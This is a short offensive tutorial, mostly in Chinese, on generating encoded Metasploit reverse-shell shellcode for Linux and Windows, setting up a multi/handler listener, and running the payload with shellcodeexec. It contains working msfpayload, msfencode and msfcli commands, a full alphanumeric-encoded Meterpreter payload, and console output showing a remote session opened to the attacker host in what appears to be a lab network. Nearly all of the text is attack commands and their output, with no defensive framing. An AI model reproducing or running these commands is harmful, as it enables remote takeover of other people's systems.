1.生成shellcode：
1.1.linux：
msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
1.2.windows：
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
2.监听：
2.1。linux-payload：
msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
2.2.windows-payload:
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
3.执行shellcode：
linux版：./shellcodeexec <msfencode's alphanumeric-encoded payload>
windows版：C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>
example：
生成shellcode：
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
[*] x86/alpha_mixed succeeded with size 634 (iteration=1)
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1KsVIO6OuZVCEXlISAA
监听：
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
执行：
C:\WINDOWS\Temp>shellcodeexec.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1KsVIO6OuZVCEXlISAA
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUhread LPORT=4444 LHOST=192.168.136.1 E
[*] Please wait while we load the module tree…
[…]
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ — –=[ 673 exploits – 354 auxiliary
+ — –=[ 217 payloads – 27 encoders – 8 nops
=[ svn r12306 updated 7 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 4444
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:4444
[*] Starting the payload handler…
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:4444 -> 192.168.136.129:1581) at Thu Apr 14 15:30:15 +0100 2011
meterpreter > sysinfo
System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32